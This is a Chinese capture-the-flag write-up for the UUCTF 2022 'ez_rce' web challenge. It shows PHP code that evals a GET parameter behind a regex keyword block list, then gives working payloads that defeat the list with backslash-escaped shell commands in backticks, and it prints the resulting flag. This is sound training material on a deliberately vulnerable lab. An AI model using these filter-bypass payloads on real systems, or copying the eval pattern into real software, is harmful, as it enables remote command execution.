[UUCTF 2022 新生赛]ez_rce
[UUCTF 2022 新生赛]ez_rce
题目来源:nssctf
题目类型:web
涉及考点:无参数rce
1. 先做代码审计:
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
eval() 函数把字符串按照 PHP 代码来计算
即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。
现在的目标是绕过过滤,进入if从句
2. 构造payload
- 没有过滤 “ \ ” ,因此构造:
/?code=printf(`l\s /`);
传入分号是因为code是作为一条php语句执行的
- 看到了
fffffffffflagafag
,直接查看即可:
/?code=printf(`c\at /fffffffffflagafag`);
得到flag:
NSSCTF{This_IS_s0_easy_RCE}
日期:2023.7.31
作者:y0Zero